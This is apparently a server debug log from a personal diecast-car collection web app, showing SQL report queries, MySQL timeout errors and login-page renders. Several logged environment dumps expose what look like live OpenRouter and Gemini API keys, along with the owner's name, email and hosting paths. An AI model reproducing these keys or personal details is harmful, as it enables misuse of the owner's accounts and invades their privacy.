  { series: 151, name: 'HW Rod Squad', total: 2 },
  { series: 159, name: 'HW Fan Driver', total: 1 },
  { series: 146, name: 'HW Track Aces', total: 1 },
  { series: 148, name: 'HW Wild Widebody', total: 1 },
  { series: 181, name: 'HW Pop Culture', total: 1 },
  { series: 180, name: 'HW Pantone', total: 1 },
  { series: 179, name: 'HW Euro', total: 1 },
  { series: 178, name: 'HW Ride-Ons', total: 1 },
  { series: 162, name: 'Neon Speeders - Mix 2', total: 1 },
  { series: 104, name: 'HW Wide Widebody', total: 1 },
  { series: 160, name: "HW Truckin' Along", total: 1 },
  { series: 144, name: 'HW Safari Mode', total: 1 },
  { series: 161, name: 'HW Batman', total: 1 },
  { series: 166, name: 'HW Experimotors', total: 1 },
  { series: 165, name: 'HW Metro', total: 1 },
  { series: 164, name: 'HW Nightspeed', total: 1 },
  { series: 163, name: 'HW Starting Grid', total: 1 }
]
2026-02-04T12:04:31.309Z server-connect:router Serving serverConnect /api/reports/diecast/by-manufacturer
2026-02-04T12:04:31.309Z server-connect:app Executing action step identify
2026-02-04T12:04:31.309Z server-connect:app options: { provider: 'security' }
2026-02-04T12:04:31.309Z server-connect:output identity: 1
2026-02-04T12:04:31.309Z server-connect:app Executing action step restrict
2026-02-04T12:04:31.309Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T12:04:31.310Z server-connect:output restrict: undefined
2026-02-04T12:04:31.310Z server-connect:app Executing action step custom
2026-02-04T12:04:31.310Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.brand_id,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.brand_id\n' +
      'GROUP BY dc.brand_id, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-02-04T12:04:31.311Z server-connect:output list: [
  { brand_id: 71, name: 'Hotwheels', total: 84 },
  { brand_id: 72, name: 'Majorette', total: 46 },
  { brand_id: 73, name: 'Matchbox', total: 30 },
  { brand_id: 158, name: 'CCA', total: 3 },
  { brand_id: 74, name: 'Bburago', total: 1 },
  { brand_id: 191, name: 'Jams Toys', total: 1 }
]
2026-02-04T12:04:32.417Z server-connect:router Serving serverConnect /api/reports/diecast/by-vehicle-brand
2026-02-04T12:04:32.419Z server-connect:app Executing action step identify
2026-02-04T12:04:32.419Z server-connect:app options: { provider: 'security' }
2026-02-04T12:04:32.419Z server-connect:output identity: 1
2026-02-04T12:04:32.419Z server-connect:app Executing action step restrict
2026-02-04T12:04:32.419Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T12:04:32.420Z server-connect:output restrict: undefined
2026-02-04T12:04:32.420Z server-connect:app Executing action step custom
2026-02-04T12:04:32.420Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.vehicle_brand_id,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.vehicle_brand_id\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.vehicle_brand_id, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-02-04T12:04:32.423Z server-connect:output list: [
  { vehicle_brand_id: 142, name: 'Fantasy', total: 22 },
  { vehicle_brand_id: 108, name: 'Ford', total: 15 },
  { vehicle_brand_id: 130, name: 'Porsche', total: 9 },
  { vehicle_brand_id: 113, name: 'Mercedes', total: 8 },
  { vehicle_brand_id: 115, name: 'Lamborghini', total: 7 },
  { vehicle_brand_id: 116, name: 'Nissan', total: 6 },
  { vehicle_brand_id: 127, name: 'Dodge', total: 6 },
  { vehicle_brand_id: 118, name: 'Chevrolet', total: 6 },
  { vehicle_brand_id: 117, name: 'Land Rover', total: 4 },
  { vehicle_brand_id: 128, name: 'Alfa Romeo', total: 3 },
  { vehicle_brand_id: 112, name: 'Honda', total: 2 },
  { vehicle_brand_id: 122, name: 'Jeep', total: 2 },
  { vehicle_brand_id: 157, name: 'Masserti', total: 2 },
  { vehicle_brand_id: 133, name: 'Jaguar', total: 2 },
  { vehicle_brand_id: 109, name: 'Renault', total: 2 },
  { vehicle_brand_id: 140, name: 'GMC', total: 2 },
  { vehicle_brand_id: 137, name: 'Mazda', total: 2 },
  { vehicle_brand_id: 124, name: 'Ferrari', total: 2 },
  { vehicle_brand_id: 185, name: 'Lotus', total: 1 },
  { vehicle_brand_id: 186, name: 'Datsun', total: 1 },
  { vehicle_brand_id: 190, name: 'Plymouth', total: 1 },
  { vehicle_brand_id: 184, name: 'Lucid', total: 1 },
  { vehicle_brand_id: 183, name: 'Spider Man', total: 1 },
  { vehicle_brand_id: 189, name: 'RAM', total: 1 },
  { vehicle_brand_id: 129, name: 'Bugatti', total: 1 },
  { vehicle_brand_id: 132, name: 'Audi', total: 1 },
  { vehicle_brand_id: 119, name: 'Toyota', total: 1 },
  { vehicle_brand_id: 152, name: 'Corvette ', total: 1 },
  { vehicle_brand_id: 121, name: 'Peugeot', total: 1 },
  { vehicle_brand_id: 169, name: 'Cadillac', total: 1 },
  { vehicle_brand_id: 168, name: 'Pagani', total: 1 },
  { vehicle_brand_id: 167, name: 'Mcmurtry', total: 1 },
  { vehicle_brand_id: 126, name: 'BMW', total: 1 },
  { vehicle_brand_id: 125, name: 'Bentley', total: 1 },
  { vehicle_brand_id: 123, name: 'Volvo', total: 1 },
  { vehicle_brand_id: 139, name: 'Formula', total: 1 },
  { vehicle_brand_id: 138, name: 'Gordon Murray', total: 1 },
  { vehicle_brand_id: 134, name: 'Pontiac', total: 1 },
  { vehicle_brand_id: 136, name: 'Austin', total: 1 },
  { vehicle_brand_id: 135, name: 'Czinger', total: 1 }
]
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-04 15:25:27' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-04 15:25:27' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-04 18:35:28' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-04 18:35:28' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-04 18:42:28' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-04 18:42:28' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-04 19:01:28' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-04 19:01:28' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-04 19:19:29' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-04 19:19:29' as DATETIME)"
}
2026-02-04T19:34:01.382Z server-connect:router Serving templateView /
2026-02-04T19:34:01.384Z server-connect:app Executing action step identify
2026-02-04T19:34:01.384Z server-connect:app options: { provider: 'security' }
2026-02-04T19:34:01.384Z server-connect:auth No login cookie found
2026-02-04T19:34:01.384Z server-connect:output identity: false
2026-02-04T19:34:01.384Z server-connect:app Executing action step restrict
2026-02-04T19:34:01.384Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T19:34:01.386Z server-connect:output restrict: undefined
2026-02-04T19:34:03.032Z server-connect:router Serving templateView /login
2026-02-04T19:34:03.033Z server-connect:app Executing action step identify
2026-02-04T19:34:03.033Z server-connect:app options: { provider: 'security' }
2026-02-04T19:34:03.033Z server-connect:auth No login cookie found
2026-02-04T19:34:03.033Z server-connect:output identity: false
2026-02-04T19:34:03.033Z server-connect:router Render template layouts/authentication
2026-02-04T19:34:03.033Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36',
    host: 'ems.sanjaychaurasia.xyz:443',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
    'accept-encoding': 'gzip',
    'accept-language': 'zh-CN,zh;q=0.9',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '47.236.22.153',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz:443',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-05T19:34:03.032Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '47.236.22.153',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz:443',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz:443',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT_LANGUAGE: 'zh-CN,zh;q=0.9',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '47.236.22.153',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz:443',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-04T22:13:21.165Z server-connect:router Serving templateView /
2026-02-04T22:13:21.166Z server-connect:app Executing action step identify
2026-02-04T22:13:21.166Z server-connect:app options: { provider: 'security' }
2026-02-04T22:13:21.167Z server-connect:auth No login cookie found
2026-02-04T22:13:21.167Z server-connect:output identity: false
2026-02-04T22:13:21.167Z server-connect:app Executing action step restrict
2026-02-04T22:13:21.167Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T22:13:21.167Z server-connect:output restrict: undefined
2026-02-04T22:13:22.706Z server-connect:router Serving templateView /login
2026-02-04T22:13:22.706Z server-connect:app Executing action step identify
2026-02-04T22:13:22.706Z server-connect:app options: { provider: 'security' }
2026-02-04T22:13:22.707Z server-connect:auth No login cookie found
2026-02-04T22:13:22.707Z server-connect:output identity: false
2026-02-04T22:13:22.707Z server-connect:router Render template layouts/authentication
2026-02-04T22:13:22.707Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36',
    host: 'www.ems.sanjaychaurasia.xyz:443',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
    'accept-encoding': 'gzip',
    'accept-language': 'zh-CN,zh;q=0.9',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '47.236.226.161',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz:443',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-05T22:13:22.706Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '47.236.226.161',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz:443',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz:443',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT_LANGUAGE: 'zh-CN,zh;q=0.9',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '47.236.226.161',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz:443',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-04T23:52:01.107Z server-connect:router Serving templateView /
2026-02-04T23:52:01.108Z server-connect:app Executing action step identify
2026-02-04T23:52:01.109Z server-connect:app options: { provider: 'security' }
2026-02-04T23:52:01.109Z server-connect:auth No login cookie found
2026-02-04T23:52:01.109Z server-connect:output identity: false
2026-02-04T23:52:01.109Z server-connect:app Executing action step restrict
2026-02-04T23:52:01.109Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T23:52:01.110Z server-connect:output restrict: undefined
2026-02-04T23:52:01.245Z server-connect:router Serving templateView /login
2026-02-04T23:52:01.249Z server-connect:app Executing action step identify
2026-02-04T23:52:01.249Z server-connect:app options: { provider: 'security' }
2026-02-04T23:52:01.249Z server-connect:auth No login cookie found
2026-02-04T23:52:01.249Z server-connect:output identity: false
2026-02-04T23:52:01.249Z server-connect:router Render template layouts/authentication
2026-02-04T23:52:01.250Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'x-openai-host-hash': '305201621',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    accept: '*/*',
    from: 'gptbot(at)openai.com',
    'user-agent': 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)',
    'accept-encoding': 'gzip,br',
    'x-forwarded-for': '74.7.227.24',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-05T23:52:01.245Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '74.7.227.24',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_X_OPENAI-HOST-HASH': '305201621',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT: '*/*',
    HTTP_FROM: 'gptbot(at)openai.com',
    HTTP_USER_AGENT: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    'HTTP_X_FORWARDED-FOR': '74.7.227.24',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-05T01:13:14.762Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-05T01:13:14.764Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-05T01:13:14.764Z server-connect:router Serving serverConnect /api/reports/diecast/by-series
2026-02-05T01:13:14.765Z server-connect:app Executing action step identify
2026-02-05T01:13:14.765Z server-connect:app options: { provider: 'security' }
2026-02-05T01:13:14.765Z server-connect:output identity: 1
2026-02-05T01:13:14.765Z server-connect:app Executing action step restrict
2026-02-05T01:13:14.765Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-05T01:13:14.766Z server-connect:app Executing action step identify
2026-02-05T01:13:14.766Z server-connect:app options: { provider: 'security' }
2026-02-05T01:13:14.766Z server-connect:output identity: 1
2026-02-05T01:13:14.766Z server-connect:app Executing action step restrict
2026-02-05T01:13:14.766Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-05T01:13:14.767Z server-connect:app Executing action step identify
2026-02-05T01:13:14.767Z server-connect:app options: { provider: 'security' }
2026-02-05T01:13:14.767Z server-connect:output identity: 1
2026-02-05T01:13:14.767Z server-connect:app Executing action step restrict
2026-02-05T01:13:14.767Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-05T01:13:14.768Z server-connect:output restrict: undefined
2026-02-05T01:13:14.769Z server-connect:app Executing action step single
2026-02-05T01:13:14.769Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-05T01:13:14.770Z server-connect:output restrict: undefined
2026-02-05T01:13:14.770Z server-connect:app Executing action step select
2026-02-05T01:13:14.770Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-05T01:13:14.771Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-05T01:13:14.772Z server-connect:output restrict: undefined
2026-02-05T01:13:14.772Z server-connect:app Executing action step custom
2026-02-05T01:13:14.772Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
